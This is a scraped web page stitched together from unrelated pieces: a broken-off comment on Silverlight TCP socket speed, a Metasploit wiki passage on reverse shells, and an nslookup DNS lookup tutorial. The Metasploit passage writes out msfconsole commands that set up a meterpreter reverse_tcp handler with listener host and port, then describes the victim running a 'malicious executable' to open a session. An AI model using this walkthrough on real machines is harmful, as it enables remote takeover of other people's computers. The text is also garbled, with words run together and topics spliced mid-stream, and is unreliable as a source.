Mar 26, 2014 i did some work using TCP-Sockets in a custom video streaming app running on. Silverlight on Windows and OSX. In fact the OSX version is slower, but not as. Much as you described. I had to learn that the sockets implementation is one of the things behaving. Differently on Windows and Mac, and this is not well documented. The key point.
There are two popular types of shells: bind and reverse. A bind shell is the kind that opens up a new service on the target machine, and requires the attacker to connect to it in order to get a session. A reverse shell (also known as a connect-back) is the exact opposite: it requires the attacker to set up a listener first on his box, the target machine acts as a client connecting to that listener, and then finally the attacker receives the shell.The basic usage of payloads is already quite well documented in the in Metasploit's documentation folder.
However, learning how to use a reverse shell still remains the most common question in the Metasploit community. Plus, 9 times out of 10 you'd probably be using a reverse shell to get a session, so in this wiki documentation we will explain more about this.List of Metasploit reverse shellsAs of now, there are 168 different reverse shells in the Metasploit Framework. We will not list all of them here, because that's just straight up spamming. But if you'd like, you can run the following command to get msfpayload to tell you./msfpayload -l grep reverseAs a rule of thumb, always pick a meterpreter, because it currently provides better support of post exploitation Metasploit has to offer. For example, railgun, post modules, unique meterpreter commands (like webcam controls), etc.In Windows, the most commonly used reverse shell is windows/meterpreter/reverse.
But you can also try windows/meterpreter/reversehttp or windows/meterpreter/reversehttps, because their network traffic appear a little bit less abnormal.In Linux, you can also try linux/x86/meterpreter/reversetcp, or the 64-bit one. $./msfconsole -qmsf use exploit/multi/handlermsf exploit(handler) set payload windows/meterpreter/reversetcppayload = windows/meterpreter/reversetcpmsf exploit(handler) set lhost 192.168.1.123lhost = 192.168.1.123msf exploit(handler) set lport 4444lport = 4444msf exploit(handler) run. Started reverse handler on 192.168.1.123:4444.
Starting the payload handler.Step 4: I double-click on the malicious executableThis step requires no further explanation.Step 5: I should see a meterpreter/payload session on box A (the attacker's box)Like this.
How do I use nslookup command line administrative tool for testing and troubleshooting DNS servers including reverse lookup under UNIX or Windows operating systems? How do I look up an IP address of a domain or host on a network using nslookup command?
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nslookup is a UNIX or Windows (nslookup.exe)program to query Internet domain name servers. Nslookup has two modes: interactive and non-interactive. Interactive mode allows the user to query name servers for information about various hosts and domains or to print a list of hosts in a domain. Non-interactive mode is used to print just the name and requested information for a host or domain.
UNIX Example
To find out an IP address of cyberciti.biz, enter:
$ nslookup cyberciti.biz Sample outputs:
You can run reverse ip lookup as follows:
$ nslookup 75.126.153.206 Sample outputs: MS-Windows Example
To perform a reverse lookup on an IP address 75.126.153.206, enter (open MS-DOS prompt by clicking on Start > Run > Type > Cmd.exe):
nslookup 75.126.153.206
Sample session:
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